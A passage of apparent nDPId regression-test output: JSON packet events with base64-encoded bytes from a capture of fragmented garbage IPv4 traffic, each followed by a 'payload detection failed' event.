failed","thread_id":0,"packet_id":368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2399,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2410,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2455,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2467,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2483,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2494,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2504,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2516,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2527,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2537,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2548,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2559,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2570,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2582,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2593,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2605,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2616,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2628,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2640,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2651,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2664,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2675,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2687,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2700,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2712,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2724,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2735,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2748,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2761,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2773,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2785,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2809,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2821,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2832,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2844,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2856,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2868,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2879,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2891,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} 